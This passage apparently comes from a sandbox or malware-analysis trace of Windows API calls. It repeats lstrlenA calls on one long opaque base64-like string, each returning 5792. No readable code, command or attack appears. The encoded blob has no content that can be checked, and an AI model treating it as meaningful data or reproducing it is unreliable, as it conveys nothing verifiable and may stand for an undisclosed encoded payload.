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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA 